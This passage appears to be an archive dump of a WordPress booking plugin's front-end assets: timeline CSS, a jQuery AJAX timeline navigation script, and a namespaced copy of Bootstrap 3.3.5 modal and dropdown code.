} /* 1 D */ .flex_tl_matrix_resources.flex_frame_view_days_num_1 .flex_tl__scrolling_sections .flex_tl__scrolling_section2 .flex_tl_row_max_width{ min-width: 900px; } /* 1 W */ .flex_tl_matrix_resources.flex_frame_view_days_num_7 .flex_tl__scrolling_sections .flex_tl__scrolling_section2 .flex_tl_row_max_width{ min-width: 300px; } /* 1 M */ .flex_tl_matrix_resources.flex_frame_view_days_num_30 .flex_tl__scrolling_sections .flex_tl__scrolling_section2 .flex_tl_row_max_width{ min-width: 1400px; } /* 2 M */ .flex_tl_matrix_resources.flex_frame_view_days_num_60 .flex_tl__scrolling_sections .flex_tl__scrolling_section2 .flex_tl_row_max_width{ min-width: 2800px; } /* Headers Height */ .flex_tl_table .flex_tl_table_header .flex_tl_collumn_1, .flex_tl_table .flex_tl_table_titles .flex_tl_collumn_1, .flex_tl_table .flex_tl_table_header .flex_tl_collumn_2, .flex_tl_table .flex_tl_table_titles .flex_tl_collumn_2{ height: var(--wpbc_timeline-row-header-height); overflow: hidden; } .flex_tl_table .flex_tl_table_header .flex_tl_collumn_2, .flex_tl_table .flex_tl_table_titles .flex_tl_collumn_2{ display: flex; flex-flow: row wrap; justify-content: flex-start; align-items: stretch; } .flex_tl_table .flex_tl_table_header .flex_tl_collumn_2 > div, .flex_tl_table .flex_tl_table_titles .flex_tl_collumn_2 > div{ flex:1 1 100%; } /* Add Transparency and Redefine Colors */ .flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_2 .flex_tl_dates_bar .flex_tl_day_cell .in_cell_date_container_show_bookings .booking_id { opacity: 0.8; } .flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_2 .flex_tl_dates_bar .flex_tl_day_cell .in_cell_date_container_show_bookings .booking_id.start_new_booking { border-left: 2px solid #df8d18; } /* == Bookings Colors ================================================================================================= */ .flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_2 .flex_tl_dates_bar .flex_tl_day_cell .in_cell_date_container_show_bookings .booking_id { background: none repeat scroll; background-color: var(--wpbc_timeline-booking-pending-color); } .flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_2 .flex_tl_dates_bar .flex_tl_day_cell .in_cell_date_container_show_bookings .booking_id.approved_booking { background-color: var(--wpbc_timeline-booking-approved-color); } .flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_2 .flex_tl_dates_bar .flex_tl_day_cell .in_cell_date_container_show_bookings .booking_id.past_date { background-color: var(--wpbc_timeline-past-booking-pending-color); } .flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_2 .flex_tl_dates_bar .flex_tl_day_cell .in_cell_date_container_show_bookings .booking_id.approved_booking.past_date { background-color: var(--wpbc_timeline-past-booking-approved-color); } /* == Check In / Out ================================================================================================= */ .flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_2 .flex_tl_dates_bar .flex_tl_day_cell .in_cell_date_container_show_bookings .booking_id.booking_change_over { border:none; width: 100%; height: 100%; position: absolute; width: calc( 100% + 1px ); margin: 0 -1px; } /* pending check in/out */ .flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_2 .flex_tl_dates_bar .flex_tl_day_cell .in_cell_date_container_show_bookings .booking_id.booking_check_in { background: linear-gradient(to bottom right, #fff0 0%, #fff0 50%, var( --wpbc_timeline-booking-pending-border-color ) 50%, var( --wpbc_timeline-booking-pending-border-color ) 52%, var( --wpbc_timeline-booking-pending-color ) 52%, var( --wpbc_timeline-booking-pending-color ) 100%); } .flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_2 .flex_tl_dates_bar .flex_tl_day_cell .in_cell_date_container_show_bookings .booking_id.booking_check_out { background: linear-gradient(to top left, #fff0 0%, #fff0 50%, var( --wpbc_timeline-booking-pending-color ) 50%, var( --wpbc_timeline-booking-pending-color ) 100%); } /* Approved check in/out */ .flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_2 .flex_tl_dates_bar .flex_tl_day_cell .in_cell_date_container_show_bookings .booking_id.approved_booking.booking_check_in { background: linear-gradient(to bottom right, #fff0 0%, #fff0 50%, var( --wpbc_timeline-booking-approved-border-color ) 50%, var( --wpbc_timeline-booking-approved-border-color ) 52%, var( --wpbc_timeline-booking-approved-color ) 52%, var( --wpbc_timeline-booking-approved-color ) 100%); } .flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_2 .flex_tl_dates_bar .flex_tl_day_cell .in_cell_date_container_show_bookings .booking_id.approved_booking.booking_check_out { background: linear-gradient(to top left, #fff0 0%, #fff0 50%, var( --wpbc_timeline-booking-approved-color ) 50%, var( --wpbc_timeline-booking-approved-color ) 100%); } /* :: PAST :: Bookings */ /* pending check in/out */ .flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_2 .flex_tl_dates_bar .flex_tl_day_cell .in_cell_date_container_show_bookings .booking_id.booking_check_in.past_date { background: linear-gradient(to bottom right, #fff0 0%, #fff0 50%, var( --wpbc_timeline-booking-pending-border-color ) 50%, var( --wpbc_timeline-booking-pending-border-color ) 52%, var( --wpbc_timeline-past-booking-pending-color ) 52%, var( --wpbc_timeline-past-booking-pending-color ) 100%); } .flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_2 .flex_tl_dates_bar .flex_tl_day_cell .in_cell_date_container_show_bookings .booking_id.booking_check_out.past_date { background: linear-gradient(to top left, #fff0 0%, #fff0 50%, var( --wpbc_timeline-past-booking-pending-color ) 50%, var( --wpbc_timeline-past-booking-pending-color ) 100%); } /* Approved check in/out */ .flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_2 .flex_tl_dates_bar .flex_tl_day_cell .in_cell_date_container_show_bookings .booking_id.approved_booking.booking_check_in.past_date { background: linear-gradient(to bottom right, #fff0 0%, #fff0 50%, var( --wpbc_timeline-booking-approved-border-color ) 50%, var( --wpbc_timeline-booking-approved-border-color ) 52%, var( --wpbc_timeline-past-booking-approved-color ) 52%, var( --wpbc_timeline-past-booking-approved-color ) 100%); } .flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_2 .flex_tl_dates_bar .flex_tl_day_cell .in_cell_date_container_show_bookings .booking_id.approved_booking.booking_check_out.past_date { background: linear-gradient(to top left, #fff0 0%, #fff0 50%, var( --wpbc_timeline-past-booking-approved-color ) 50%, var( --wpbc_timeline-past-booking-approved-color ) 100%); } /* == Dates Font Size ================================================================================================= */ .flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_2 .flex_tl_dates_bar .flex_tl_day_cell { font-size: 0.85em; text-shadow:none; } /* Booking Title Size */ .flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_2 .flex_tl_dates_bar .flex_tl_day_cell .in_cell_date_container_show_booking_titles .in_cell_date_booking_title { font-size:10px; } .flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_2 .flex_tl_dates_bar .flex_tl_day_cell .in_cell_date_container_show_booking_titles .in_cell_date_booking_title:hover, .flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_2 .flex_tl_dates_bar .flex_tl_day_cell .in_cell_date_container_show_booking_titles .in_cell_date_booking_title:active, .flex_tl_table .flex_tl_table_row_bookings .flex_tl_collumn_2 .flex_tl_dates_bar .flex_tl_day_cell .in_cell_date_container_show_booking_titles .in_cell_date_booking_title:focus{ outline: 0; box-shadow: 0 0 0 2px #a6bbe5; box-shadow: 0 0 4px -1px #000; text-decoration-style: dashed; text-decoration-thickness: 0px; text-underline-offset: 2px; } timeline_v2.js 0000666 00000005137 15165645601 0007342 0 ustar 00 function wpbc_flextimeline_nav( timeline_obj, nav_step ){ jQuery( ".wpbc_timeline_front_end" ).trigger( "timeline_nav" , [ timeline_obj, nav_step ] ); //FixIn:7.0.1.48 // jQuery( '#'+timeline_obj.html_client_id + ' .wpbc_tl_prev,#'+timeline_obj.html_client_id + ' .wpbc_tl_next').remove(); // jQuery('#'+timeline_obj.html_client_id + ' .wpbc_tl_title').html( '<span class="wpbc_icn_rotate_right wpbc_spin"></span>   Loading...' ); // '<div style="height:20px;width:100%;text-align:center;margin:15px auto;">Loading ... <img style="vertical-align:middle;box-shadow:none;width:14px;" src="'+_wpbc.get_other_param( 'url_plugin' )+'/assets/img/ajax-loader.gif"><//div>' jQuery( '#'+timeline_obj.html_client_id + ' .flex_tl_prev,#'+timeline_obj.html_client_id + ' .flex_tl_next').remove(); jQuery('#'+timeline_obj.html_client_id + ' .flex_tl_title').html( '<span class="wpbc_icn_rotate_right wpbc_spin"></span>   Loading...' ); // '<div style="height:20px;width:100%;text-align:center;margin:15px auto;">Loading ... <img style="vertical-align:middle;box-shadow:none;width:14px;" src="'+_wpbc.get_other_param( 'url_plugin' )+'/assets/img/ajax-loader.gif"><//div>' //Deprecated: FixIn: 9.0.1.1.1 // if ( 'function' === typeof( jQuery(".popover_click.popover_bottom" ).popover ) ) //FixIn: 7.0.1.2 - 2016-12-10 // jQuery('.popover_click.popover_bottom').popover( 'hide' ); //Hide all opened popovers jQuery.ajax({ url: wpbc_url_ajax, type:'POST', success: function ( data, textStatus ){ // Note, here we direct show HTML to TimeLine frame if( textStatus == 'success') { jQuery('#' + timeline_obj.html_client_id + ' .wpbc_timeline_ajax_replace' ).html( data ); return true; } }, error: function ( XMLHttpRequest, textStatus, errorThrown){ window.status = 'Ajax Error! Status: ' + textStatus; alert( 'Ajax Error! Status: ' + XMLHttpRequest.status + ' ' + XMLHttpRequest.statusText ); }, // beforeSend: someFunction, data:{ action: 'WPBC_FLEXTIMELINE_NAV', timeline_obj: timeline_obj, nav_step: nav_step, wpdev_active_locale: _wpbc.get_other_param( 'locale_active' ), wpbc_nonce: document.getElementById('wpbc_nonce_'+ timeline_obj.html_client_id).value } }); } dropdown_modal.js 0000666 00000036362 15165650745 0010146 0 ustar 00 /*! * Generated using the Bootstrap Customizer (http://getbootstrap.com/customize/?id=f4b4c9cb85df757ca08c) * Config saved to config.json and https://gist.github.com/f4b4c9cb85df757ca08c */ if (typeof jQuery === 'undefined') { throw new Error('Bootstrap\'s JavaScript requires jQuery') } +function ($) { 'use strict'; var version = $.fn.jquery.split(' ')[0].split('.') if ((version[0] < 2 && version[1] < 9) || (version[0] == 1 && version[1] == 9 && version[2] < 1)) { throw new Error('Bootstrap\'s JavaScript requires jQuery version 1.9.1 or higher') } }(jQuery); /* ======================================================================== * Bootstrap: modal.js v3.3.5 * http://getbootstrap.com/javascript/#modals * ======================================================================== * Copyright 2011-2015 Twitter, Inc. * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) * ======================================================================== */ +function ($) { 'use strict'; // MODAL CLASS DEFINITION // ====================== var Modal = function (element, options) { this.options = options this.$body = $(document.body) this.$element = $(element) this.$dialog = this.$element.find('.modal-dialog') this.$backdrop = null this.isShown = null this.originalBodyPad = null this.scrollbarWidth = 0 this.ignoreBackdropClick = false if (this.options.remote) { this.$element .find('.modal-content') .load(this.options.remote, $.proxy(function () { this.$element.trigger('loaded.wpbc.modal') }, this)) } } Modal.VERSION = '3.3.5' Modal.TRANSITION_DURATION = 300 Modal.BACKDROP_TRANSITION_DURATION = 150 Modal.DEFAULTS = { backdrop: true, keyboard: true, show: true } Modal.prototype.toggle = function (_relatedTarget) { return this.isShown ? this.hide() : this.show(_relatedTarget) } Modal.prototype.show = function (_relatedTarget) { var that = this var e = $.Event('show.wpbc.modal', { relatedTarget: _relatedTarget }) this.$element.trigger(e) if (this.isShown || e.isDefaultPrevented()) return this.isShown = true this.checkScrollbar() this.setScrollbar() this.$body.addClass('modal-open') this.escape() this.resize() this.$element.on('click.dismiss.wpbc.modal', '[data-dismiss="modal"]', $.proxy(this.hide, this)) this.$dialog.on('mousedown.dismiss.wpbc.modal', function () { that.$element.one('mouseup.dismiss.wpbc.modal', function (e) { if ($(e.target).is(that.$element)) that.ignoreBackdropClick = true }) }) this.backdrop(function () { var transition = $.support.transition && that.$element.hasClass('fade') if (!that.$element.parent().length) { that.$element.appendTo(that.$body) // don't move modals dom position } that.$element .show() .scrollTop(0) that.adjustDialog() if (transition) { that.$element[0].offsetWidth // force reflow } that.$element.addClass('in') that.enforceFocus() var e = $.Event('shown.wpbc.modal', { relatedTarget: _relatedTarget }) transition ? that.$dialog // wait for modal to slide in .one('bsTransitionEnd', function () { that.$element.trigger('focus').trigger(e) }) .emulateTransitionEnd(Modal.TRANSITION_DURATION) : that.$element.trigger('focus').trigger(e) }) } Modal.prototype.hide = function (e) { if (e) e.preventDefault() e = $.Event('hide.wpbc.modal') this.$element.trigger(e) if (!this.isShown || e.isDefaultPrevented()) return this.isShown = false this.escape() this.resize() $(document).off('focusin.wpbc.modal') this.$element .removeClass('in') .off('click.dismiss.wpbc.modal') .off('mouseup.dismiss.wpbc.modal') this.$dialog.off('mousedown.dismiss.wpbc.modal') $.support.transition && this.$element.hasClass('fade') ? this.$element .one('bsTransitionEnd', $.proxy(this.hideModal, this)) .emulateTransitionEnd(Modal.TRANSITION_DURATION) : this.hideModal() } Modal.prototype.enforceFocus = function () { $(document) .off('focusin.wpbc.modal') // guard against infinite focus loop .on('focusin.wpbc.modal', $.proxy(function (e) { if (this.$element[0] !== e.target && !this.$element.has(e.target).length) { this.$element.trigger('focus') } }, this)) } Modal.prototype.escape = function () { if (this.isShown && this.options.keyboard) { this.$element.on('keydown.dismiss.wpbc.modal', $.proxy(function (e) { e.which == 27 && this.hide() }, this)) } else if (!this.isShown) { this.$element.off('keydown.dismiss.wpbc.modal') } } Modal.prototype.resize = function () { if (this.isShown) { $(window).on('resize.wpbc.modal', $.proxy(this.handleUpdate, this)) } else { $(window).off('resize.wpbc.modal') } } Modal.prototype.hideModal = function () { var that = this this.$element.hide() this.backdrop(function () { that.$body.removeClass('modal-open') that.resetAdjustments() that.resetScrollbar() that.$element.trigger('hidden.wpbc.modal') }) } Modal.prototype.removeBackdrop = function () { this.$backdrop && this.$backdrop.remove() this.$backdrop = null } Modal.prototype.backdrop = function (callback) { var that = this var animate = this.$element.hasClass('fade') ? 'fade' : '' if (this.isShown && this.options.backdrop) { var doAnimate = $.support.transition && animate this.$backdrop = $(document.createElement('div')) .addClass('modal-backdrop ' + animate) .appendTo(this.$body) this.$element.on('click.dismiss.wpbc.modal', $.proxy(function (e) { if (this.ignoreBackdropClick) { this.ignoreBackdropClick = false return } if (e.target !== e.currentTarget) return this.options.backdrop == 'static' ? this.$element[0].focus() : this.hide() }, this)) if (doAnimate) this.$backdrop[0].offsetWidth // force reflow this.$backdrop.addClass('in') if (!callback) return doAnimate ? this.$backdrop .one('bsTransitionEnd', callback) .emulateTransitionEnd(Modal.BACKDROP_TRANSITION_DURATION) : callback() } else if (!this.isShown && this.$backdrop) { this.$backdrop.removeClass('in') var callbackRemove = function () { that.removeBackdrop() callback && callback() } $.support.transition && this.$element.hasClass('fade') ? this.$backdrop .one('bsTransitionEnd', callbackRemove) .emulateTransitionEnd(Modal.BACKDROP_TRANSITION_DURATION) : callbackRemove() } else if (callback) { callback() } } // these following methods are used to handle overflowing modals Modal.prototype.handleUpdate = function () { this.adjustDialog() } Modal.prototype.adjustDialog = function () { var modalIsOverflowing = this.$element[0].scrollHeight > document.documentElement.clientHeight this.$element.css({ paddingLeft: !this.bodyIsOverflowing && modalIsOverflowing ? this.scrollbarWidth : '', paddingRight: this.bodyIsOverflowing && !modalIsOverflowing ? this.scrollbarWidth : '' }) } Modal.prototype.resetAdjustments = function () { this.$element.css({ paddingLeft: '', paddingRight: '' }) } Modal.prototype.checkScrollbar = function () { var fullWindowWidth = window.innerWidth if (!fullWindowWidth) { // workaround for missing window.innerWidth in IE8 var documentElementRect = document.documentElement.getBoundingClientRect() fullWindowWidth = documentElementRect.right - Math.abs(documentElementRect.left) } this.bodyIsOverflowing = document.body.clientWidth < fullWindowWidth this.scrollbarWidth = this.measureScrollbar() } Modal.prototype.setScrollbar = function () { var bodyPad = parseInt((this.$body.css('padding-right') || 0), 10) this.originalBodyPad = document.body.style.paddingRight || '' if (this.bodyIsOverflowing) this.$body.css('padding-right', bodyPad + this.scrollbarWidth) } Modal.prototype.resetScrollbar = function () { this.$body.css('padding-right', this.originalBodyPad) } Modal.prototype.measureScrollbar = function () { // thx walsh var scrollDiv = document.createElement('div') scrollDiv.className = 'modal-scrollbar-measure' this.$body.append(scrollDiv) var scrollbarWidth = scrollDiv.offsetWidth - scrollDiv.clientWidth this.$body[0].removeChild(scrollDiv) return scrollbarWidth } // MODAL PLUGIN DEFINITION // ======================= function Plugin(option, _relatedTarget) { return this.each(function () { var $this = $(this) var data = $this.data('wpbc.modal') var options = $.extend({}, Modal.DEFAULTS, $this.data(), typeof option == 'object' && option) if (!data) $this.data('wpbc.modal', (data = new Modal(this, options))) if (typeof option == 'string') data[option](_relatedTarget) else if (options.show) data.show(_relatedTarget) }) } var old = $.fn.wpbc_my_modal $.fn.wpbc_my_modal = Plugin $.fn.wpbc_my_modal.Constructor = Modal // MODAL NO CONFLICT // ================= $.fn.wpbc_my_modal.noConflict = function () { $.fn.wpbc_my_modal = old return this } // MODAL DATA-API // ============== $(document).on('click.wpbc.modal.data-api', '[data-toggle="wpbc_my_modal"]', function (e) { var $this = $(this) var href = $this.attr('href') var $target = $($this.attr('data-target') || (href && href.replace(/.*(?=#[^\s]+$)/, ''))) // strip for ie7 var option = $target.data('wpbc.modal') ? 'toggle' : $.extend({ remote: !/#/.test(href) && href }, $target.data(), $this.data()) if ($this.is('a')) e.preventDefault() $target.one('show.wpbc.modal', function (showEvent) { if (showEvent.isDefaultPrevented()) return // only register focus restorer if modal will actually get shown $target.one('hidden.wpbc.modal', function () { $this.is(':visible') && $this.trigger('focus') }) }) Plugin.call($target, option, this) }) }(jQuery); +function ($) { 'use strict'; // DROPDOWN CLASS DEFINITION // ========================= var backdrop = '.dropdown-backdrop' var toggle = '[data-toggle="wpbc_dropdown"]' var Dropdown = function (element) { $(element).on('click.wpbc.dropdown', this.toggle) } Dropdown.VERSION = '3.3.5' function getParent($this) { var selector = $this.attr('data-target') if (!selector) { selector = $this.attr('href') selector = selector && /#[A-Za-z]/.test(selector) && selector.replace(/.*(?=#[^\s]*$)/, '') // strip for ie7 } var $parent = selector && $(selector) return $parent && $parent.length ? $parent : $this.parent() } function clearMenus(e) { if (e && e.which === 3) return $(backdrop).remove() $(toggle).each(function () { var $this = $(this) var $parent = getParent($this) var relatedTarget = { relatedTarget: this } if (!$parent.hasClass('open')) return if (e && e.type == 'click' && /input|textarea/i.test(e.target.tagName) && $.contains($parent[0], e.target)) return $parent.trigger(e = $.Event('hide.wpbc.dropdown', relatedTarget)) if (e.isDefaultPrevented()) return $this.attr('aria-expanded', 'false') $parent.removeClass('open').trigger('hidden.wpbc.dropdown', relatedTarget) }) } Dropdown.prototype.toggle = function (e) { var $this = $(this) if ($this.is('.disabled, :disabled')) return var $parent = getParent($this) var isActive = $parent.hasClass('open') clearMenus() if (!isActive) { if ('ontouchstart' in document.documentElement && !$parent.closest('.navbar-nav').length) { // if mobile we use a backdrop because click events don't delegate $(document.createElement('div')) .addClass('dropdown-backdrop') .insertAfter($(this)) .on('click', clearMenus) } var relatedTarget = { relatedTarget: this } $parent.trigger(e = $.Event('show.wpbc.dropdown', relatedTarget)) if (e.isDefaultPrevented()) return $this .trigger('focus') .attr('aria-expanded', 'true') $parent .toggleClass('open') .trigger('shown.wpbc.dropdown', relatedTarget) } return false } Dropdown.prototype.keydown = function (e) { if (!/(38|40|27|32)/.test(e.which) || /input|textarea/i.test(e.target.tagName)) return var $this = $(this) e.preventDefault() e.stopPropagation() if ($this.is('.disabled, :disabled')) return var $parent = getParent($this) var isActive = $parent.hasClass('open') if (!isActive && e.which != 27 || isActive && e.which == 27) { if (e.which == 27) $parent.find(toggle).trigger('focus') return $this.trigger('click') } var desc = ' li:not(.disabled):visible a' var $items = $parent.find('.dropdown-menu' + desc + ',.ui_dropdown_menu' + desc) if (!$items.length) return var index = $items.index(e.target) if (e.which == 38 && index > 0) index-- // up if (e.which == 40 && index < $items.length - 1) index++ // down if (!~index) index = 0 $items.eq(index).trigger('focus') } // DROPDOWN PLUGIN DEFINITION // ========================== function Plugin(option) { return this.each(function () { var $this = $(this) var data = $this.data('wpbc.dropdown') if (!data) $this.data('wpbc.dropdown', (data = new Dropdown(this))) if (typeof option == 'string') data[option].call($this) }) } var old = $.fn.wpbc_dropdown $.fn.wpbc_dropdown = Plugin $.fn.wpbc_dropdown.Constructor = Dropdown // DROPDOWN NO CONFLICT // ==================== $.fn.wpbc_dropdown.noConflict = function () { $.fn.wpbc_dropdown = old return this } // APPLY TO STANDARD DROPDOWN ELEMENTS // =================================== $(document) .on('click.wpbc.dropdown.data-api', clearMenus) .on('click.wpbc.dropdown.data-api', '.dropdown form', function (e) { e.stopPropagation() }) .on('click.wpbc.dropdown.data-api', toggle, Dropdown.prototype.toggle) .on('keydown.wpbc.dropdown.data-api', toggle, Dropdown.prototype.keydown) .on('keydown.wpbc.dropdown.data-api', '.dropdown-menu', Dropdown.prototype.keydown) .on('keydown.wpbc.dropdown.data-api', '.ui_dropdown_menu', Dropdown.prototype.keydown) }(jQuery);
Close